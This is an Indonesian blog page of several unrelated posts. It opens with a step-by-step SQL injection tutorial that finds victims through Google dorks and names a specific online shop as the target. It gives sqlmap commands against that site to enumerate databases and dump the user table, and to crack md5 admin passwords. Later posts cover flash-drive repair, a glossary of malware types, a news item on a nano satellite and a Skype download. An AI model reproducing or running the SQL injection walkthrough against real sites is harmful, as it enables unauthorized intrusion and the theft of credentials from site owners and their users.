Cara SQL Injection dengan SQLMAP

Assalamu’alaikum Wr. Wb.

Beberapa hari yang lalu berjam – jam ngetes web vuln SQL injection pake Havij gak ada yang bisa di scan meskipun pake havij yang versi terbaru. Akhirnya ya udah saya buat aja tutorialnya pakai tool sqlmap. SQLmap merupakan tool scanning SQL Injection berbasis python yang ada pada Linux. Tool ini dapat dijalankan di linux, tapi kalo di windows juga bisa dengan bantuan Active Python. Pertama kamu download Active Python dulu, linknya ada di bawah ini.

Untuk 86 bit dan 32 bit = http://www.activestate.com/activepython/downloads/thank-you?dl=http://downloads.activestate.com/ActivePython/releases/2.7.5.6/ActivePython-2.7.5.6-win32-x86.msi

Untuk yang 64 bit = http://www.activestate.com/activepython/downloads/thank-you?dl=http://downloads.activestate.com/ActivePython/releases/2.7.5.6/ActivePython-2.7.5.6-win64-x64.msi

Kalo udah di download, langsung di install aja.

Setelah di install, sekarang kita download tool sqlmap. Linknya dibawah ini

http://sourceforge.net/projects/sqlmap/files/sqlmap/0.9/sqlmap-0.9.tar.gz/download?use_mirror=nchc

Kalo udah di download, taruh file sqlmap di localdisk C:

Kalo udah di copy, extract filenya. Caranya klik kanan file sqlmap, kemudian klik extract here.

Tunggu prosesnya sampai selesai.

Nah udah selesai kan. Sekarang cari dork untuk SQL injection. Ada 6851 dork di perpustakaan ISC. Ini linknya: http://perpustakaan.indosecuritycyber.tk/hacking/6851dorkSQLi.txt

 

Contoh disini saya menggunakan dork inurl:product.php?c=

Cara pakainya buka www.google.co.id kemudian masukkan dorknya ke kotak pencarian.

Tuh keluar banyak banget webnya. Itu target semua. Sekarang kita cari target untuk di scan. Disini saya kasih contoh target http://www.vana-shop.com/product.php?c=1

 

Copy URL target ke address bar.

Setalah itu kasih tanda petik ‘ di belakang URL untuk memastikan vuln dan tidaknya. Kemudian tekan enter.

 Setelah loading selesai kalau ada tulisan “You have an error in your SQL syntax” dan seterusnya, brarti webnya vuln.

 Nah setelah tadi Active Python di install, sekarang PC kita bisa mengenali file .py. Sekarang kita buka Command Promt (CMD) kemudian jalankan sqlmap.

Caranya klik Start à All Programs atau Programs à Accessories à klik Command Promt.

 Tampilannya seperti dibawah ini.

Ketik perintah “cd..” tanpa tanda petik kemudian tekan enter seperti dibawah ini

Ketik perintah “cd..” kemudian tekan enter lagi seperti dibawah ini

Ketik perintah “cd sqlmap” kemudian tekan enter seperti dibawah ini

Sekarang ketik perintah “sqlmap.py -u URL_TARGET --dbs”

Contoh: sqlmap.py -u http://www.vana-shop.com/product.php?c=1 --dbs

Tunggu sampai proses selesai, kalo disuruh mengetik perintah, ketik “y” kemudian tekan enter (kadang).

Lihat gambar dibawah ini, databasenya udah ditemukan. Ada information_schema dan k4735093_vnsh099.

Masukkan perintah “sqlmap.py -u URL_TARGET -D NAMA_DATABASE --tables”

Contoh: sqlmap.py -u http://www.vana-shop.com/product.php?c=1 -D k4735093_vnsh099 --tables 

Nah lihat gambar dibawah ini, table (table) databasenya udah ditemukan. Kita cari yang berhubungan dengan user. Misal kita pakai yang user seperti dibawah ini.

Masukkan perintah “sqlmap.py -u URL_TARGET -D NAMA_DATABASE -T NAMA_TABLE --columns”

Contoh: sqlmap.py -u http://www.vana-shop.com/product.php?c=1 -D k4735093_vnsh099 -T user --columns 

Tunggu sampai terlihat seperti di bawah ini.

Sekarang kita lihat isi datanya.

Masukkan perintah “sqlmap.py -u URL_TARGET -D NAMA_DATABASE -T NAMA_TABLE --dump”

Contoh: sqlmap.py -u http://www.vana-shop.com/product.php?c=1 -D k4735093_vnsh099 -T user --dump

Jika passwordnya ada yang diencrypt / berbentuk md5, nanti ada notifikasinya seperti dibawah ini. Ketik “Y” kalo ingin di crack sekalian. Atau ketik “n” kalau ingin melewati proses cracking md5. Kemudian tekan enter.

Nah sekarang udah keliatan kan yang dicari. Ada username dan kata sandi / password untuk login admin.

Untuk mencari halaman login bisa menggunakan adminfinder, havij, acunetix, dll. Sekian dulu tutorialnya, semoga bermanfaat :)

Wassalamu’alaikum Wr. Wb.

Selengkapnya...

Cara memperbaiki Flashdisk Rusak

Catatan tentang cara memperbaiki flashdisk yang rusak ini saya tulis untuk melengkapi postingan sebelumnya tentang cara memperbaiki flashdisk yang terbaca 0 byte. Tadi siang saya diminta temen saya untuk memperbaiki 2 buah flashdisk merk Transcend yang masing-masing kapasitasnya 1 GB. 

Saat dicolokkan ke USB port, Flashdisk yang satu langsung ter-detect dan terbaca sebagai drive I tetapi ketika di-klik muncul tulisan "Please insert a disk into drive I:" saya lihat properties-nya flashdisk terbaca 0 byte. Sedangkan untuk flashdisk yang satu lagi ketika dicolokkan ke USB port tidak terdeteksi sama sekali. Sayapun memutuskan untuk mencoba memperbaiki flashdisk yang masih ter-detect sama windows.

Berikut langkah-langkah saya dalam memperbaiki flashdisk yang rusak tersebut:

1. Memformat Flashdisk menggunakan HP USB Disk Storage Format Tool 

Terinspirasi pengalaman beberapa waktu lalu ketika memperbaiki flashdik yang terbaca 0 byte, sayapun mencoba mempformat flashdisk yang rusak tersebut dengan tools HP USB Disk Storage Format Tool , tetapi tidak berhasil. Software HP USB Disk Storage Format Tool tidak mendeteksi adanya flashdisk.

2. Menggunakan Software untuk memperbaiki Flashdisk.

Langkah kedua adalah menggunakan beberapa tools / software yang biasa dipakai dalam memperbaiki flashdisk yang rusak seperti misalnya, Super Stick Recovery Tools, tetapi tetap flashdisk tidak terbaca. Kemudian saya gunakan program Low Level Format dan Seatools for Windows, flashdisk terbaca tetapi tetap tidak bisa diperbaiki.

3. Reprogram ulang IC Controller Flashdisk

Akhirnya saya ketemu artikel yang menyarankan untuk me-low level format USB Flashdisk sekaligus memflash / program ulang IC Controllernya. Setelah saya bongkar ternyata IC Controllernya adalah ALCOR-AU6986. Setelah googling akhirnya ketemu juga software AlcorMP_UFD untuk IC ALCOR-AU6986. 

Cara memperbaiki Flashdisk menggunakan AlcorMP_UFD tools ini adalah sebagai berikut:

• Download program AlcorMP_UFD untuk IC ALCOR-AU6986 disini
• Setelah diekstrak jalankan file ALCORMP.EXE.
• Klik menu setup, apabila muncul jendela password klik OK aja,
• Tampilannya seperti gambar dibawah, ganti Scan Mode menjadi Low Level Format.
  
  
  
• Klik Start(A) untuk memulai proses, dan tunggu sampai selesai.
  
  
  
• Setelah berhasil, saya format ulang lagi Flashdisk dengan Format bawaan Windows
  
  
  
• Dan jreng... Alhamdulillah Flashdisk kembali normal.

Bagi temen-temen yang mengalami masalah kerusakan USB Flashdisk merk Transcend seperti diatas, muncul tulisan Please insert a disk into drive x: semoga tulisan ini bisa membantu. 

Selengkapnya...

Pengertian Malware dan Jenis-Jenis Malware

Dengan memanfaatkan koneksi jaringan dan internet, Malware yang merupakan sebuah perangkat lunak berbahaya (malicious software) saat ini semakin mudah menyebar dan menginfeksi komputer. Tanpa kita sadari sistem dan aplikasi komputer kita telah dirusak bahkan informasi pribadi milik kita pun bisa diketahui dan disalahgunakan oleh orang lain hanya karena aktifitas browsing yang kita lakukan.

Pada dasarnya malware adalah program berbahaya dan tidak diinginkanyang dapat merusak sistem komputer, menghambat akses internet dan yang paling berbahaya yaitu mencuri informasi seperti password dan no kartu kreditkita.

Jenis-jenis malware ini diantaranya adalah trojan, virus, worm, spyware, adware, rootkit dan sebagainya. Berikut beberapa pengertian dari jenis-jenis malware, CMIIW ..

• Virus Komputer adalah jenis malware yang menyerang file eksekusi (.exe) yang akan menyerang dan menggandakan diri ketika file exe yang terinfeksi di jalankan. Virus komputer menyebar dengan cara menyisipkan program dirinya pada program atau dokumen yang ada dalam komputer.
  
• Worm adalah sebuah program komputer yang dapat menggandakan dirinya secara sendiri dalam sistem komputer. Sebuah worm dapat menggandakan dirinya dengan memanfaatkan jaringan (LAN/WAN/Internet) tanpa perlu campur tangan dari user itu sendiri.Worm memanfaatkan celah keamanaan yang memang terbuka atau lebih dikenal dengan sebutan vulnerability.
  
• Spyware adalah program yang bertindak sebagai mata-mata untuk mengetahui kebiasaan pengguna komputer dan mengirimkan informasi tersebut ke pihak lain. Spyware biasanya digunakan oleh pihak pemasang iklan.
  
• Adware adalah iklan yang dimasukan secara tersembunyi oleh pembuat program, biasanya pada program yang bersifat freeware untuk tujuan promosi atau iklan.
  

• Trojan atau trojan hourse adalah program yang diam-diam masuk ke komputer kita, kemudian memfasilitasi program lain misalnya virus, sypware, adware. keylogger dan malware lainnya untuk masuk, merusak sytem, memungkinkan orang lain meremote komputer dan mencuri informasi seperti password atau nomor kartu kredit kita (untung saya ga punya kartu kredit..)
  
• Keylogger adalah sebuah program yang dapat memantau penekanan tombol pada keyboard, sehingga orang lain dapat mengetahui password dan informasi apapun yang kita ketik.
  
• Rootkit adalah program yang menyusup kedalam system komputer, bersembunyi dengan menyamar sebagai bagian dari system (misalnya menempel pada patch, keygen, crack dan game), kemudian mengambil alih, memantau kerja sistem yang disusupinya. Rootkit dapat mencuri data yang lalu-lalang di jaringan, melakukan keylogging, mencuri cookies akun bank dan lain-lain.
  
• Phishing adalah suatu bentuk penipuan untuk memperoleh informasi pribadi seperti userID, password, ATM, kartu kredit dan sebagainya melalui e-mail atau website palsu yang tampak asli.
  
  
  
  Sekian dulu postingan dari blog Monster Cyber Crew,kurang lebihnya mohon maaf.... wasalamualaikum wr.wb....

Selengkapnya...

Satelit Ciptaan Anak Bangsa

---

Liputan6.com, Jakarta TNI bertekad mandiri, dengan mengembangkan alat utama sistem pertahanan (alutsista) buatan anak negeri.  Agar militer Indonesia tak perlu bergantung dengan negara lain. Salah satunya adalah nano satelit. Teknologi ini tak main-main.

Rektor Universitas Surya, Professor Yohanes Surya mengatakan dengan diciptakannya nano satelit dapat membuat negara tetangga gentar dengan kekuatan militer Indonesia. Sebab, nano satelit dapat memantau tanpa diketahui pihak lawan.

"Singapura dan Malaysia pada ketakutan. Lagi digarap yang ada gambar, sekarang baru teks saja. Ini baru tahap awal," ujar Surya kepada Liputan6.com, di Mabes AD, Jakarta, Senin (7/4/2014).

Menurut Surya, dalam pengembangan teknologi tersebut 5 tahun ke depan, nano satelit akan memiliki ukuran seperti kutu. Saat ini, nano satelit berukuran 10 x 20 cm dengan berat 1 kilogram.

"Kalau sekarang bisa tahan sampai ketinggian 500 km bahkan sampai 1 ribu km jika dipakai peluncur. Nanti bisa lebih jauh, bila bahan dasarnya karbon, bisa 20 kali kekuatannya," terang Surya.

Penggagas 'Semesta Mendukung' itu mengatakan pula nano satelit bisa menjadi cikal bakal sistem operasi sendiri untuk menghindari sadapan. Selain itu, Surya menuturkan TNI AD bakal mampu menciptakan sistem komunikasi melalui telepon genggam buatan sendiri.

"Ada sistem secure, HP bisa bikin sendiri di mana security kuat sekali.  Itu berguna untuk komunikasi dan pemantauan, kalau beli satelit nggak bakal bisa seperti itu," imbuhnya.

Agar teknologi militer Indonesia menjadi salah satu yang diperhitungkan di dunia, ia meminta agar penerus dari Kepala Staf TNI AD Jenderal Budiman untuk melanjutkan program kerja sama ini. Budiman yang akan masuk masa pensiun pada September mendatang, menjanjikan program kerja sama ini akan dilanjutkan, bahkan oleh penerusnya.

Ada 15 teknologi yang dikembangkan. Total anggaran mencapai Rp 31 miliar. Biaya itu dinilai Budiman jauh lebih menghematkan negara daripada membeli dari asing.

Selengkapnya...

Free Download Skype Terbaru 2014 [Full Version]

Skype adalah program gratis yang memungkinkan kita melakukan panggilan Telepon dan Video Call melalui Internet secara cuma-cuma. Download Skype dan mulai menelepon gratis ke seluruh dunia.

Panggilan memiliki kualitas suara yang sangat baik dan sangat aman dengan end-to-end enkripsi. Anda bahkan tidak perlu mengkonfigurasi firewall atau router atau peralatan jaringan lainnya
Beberapa Fitur Skype :
Panggilan Suara – Skype memiliki semua fitur telepon biasa sehingga lebih mudah untuk mengatur panggilan Anda.
Panggilan video – Tampilan Video yang Dinamis sama seperti anda berbicara langsung kepada mereka.
Mengorganisir Group – Grup kontak dengan nama tertentu dan membaginya dengan kontak Anda sehingga mereka dapat berbicara dengan Teman Yang lain.
Grup chat – untuk saat lebih mudah untuk chatting atau Instant Message (IM) semua teman Anda sekaligus.
Panggilan konferensi – berbicara dengan lebih dari satu teman pada waktu Bersamaan.
Impor kontak – cari buku alamat Anda untuk menemukan teman dan keluarga yang sudah memiliki nama Skype dan mulai menelepon mereka secara gratis.
Lihat kontak Outlook – melihat dan panggilan Microsoft Outlook ® kontak dengan cepat dan langsung dari daftar kontak Skype Anda.
Quickfilter dan Speed-Dial – menemukan Skype kontak, chatting terakhir dan kontak SkypeOut cepat dan mudah, kemudian masukkan nama Skype untuk menelepon mereka kembali dengan cepat.
File Size: 33.21 MB
Publisher: Skype
OS Support: Windows 2000/XP/2003/Vista/7/8

Selengkapnya...